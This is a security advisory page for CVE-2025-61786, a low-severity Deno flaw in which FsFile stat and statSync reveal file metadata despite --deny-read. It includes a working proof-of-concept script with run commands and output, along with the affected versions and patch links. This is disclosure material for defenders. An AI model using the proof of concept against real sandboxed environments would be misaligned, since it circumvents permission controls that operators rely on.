CVE-2025-61786
LOW3.3EPSS 0.02%Deno's --deny-read check does not prevent permission bypass
描述
### Summary `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`) Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. ### PoC Setup: ``` deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3 touch test1.txt ``` - `poc_file.stat.ts` ```ts // touch test1.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1 // deno run --allow-write=./ poc_file.stat.ts 1 async function poc1(){ using file = await Deno.open("./test1.txt", { read: false, write: true}); const fileInfo = await file.stat(); console.log(fileInfo.isFile); } // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2 // deno run --allow-write=./ poc_file.stat.ts 2 function poc2(){ using file = Deno.openSync("./test1.txt", { read: false, write: true}); const fileInfo = file.statSync(); console.log(fileInfo.isFile); } // https://docs.deno.com/api/deno/~/Deno.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3 // deno run --allow-write=./ poc_file.stat.ts 3 async function poc3(){ // not executed const fileInfo = await Deno.stat("./test1.txt"); console.log(fileInfo.isFile); } // https://docs.deno.com/api/deno/~/Deno.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4 // deno run --allow-write=./ poc_file.stat.ts 4 function poc4(){ // not executed const fileInfo = Deno.statSync("./test1.txt"); console.log(fileInfo.isFile); } async function main(){ const poc = Deno.args[0] || 1; const status = await Deno.permissions.query({ name: "read", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } } main() ``` Output: - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1` ``` PermissionStatus { state: "denied", onchange: null } true ``` - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2` ``` PermissionStatus { state: "denied", onchange: null } true ``` - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = await Deno.stat("./test1.txt"); ^ ... ``` - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = Deno.statSync("./test1.txt"); ^ ... ``` ### Impact Permission model bypass
受影響套件(1)
- crates.io/denofrom 0, < 2.5.3
CVSS 分數
| 來源 | 版本 | 嚴重程度 | 向量 |
|---|---|---|---|
| osv | CVSS 3.1 | LOW3.3 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N |
參考連結(7)
- ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2025-61786
- PATCHhttps://github.com/denoland/deno
- WEBhttps://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ec
- WEBhttps://github.com/denoland/deno/pull/30876
- WEBhttps://github.com/denoland/deno/releases/tag/v2.2.15
- WEBhttps://github.com/denoland/deno/releases/tag/v2.5.3
- WEBhttps://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9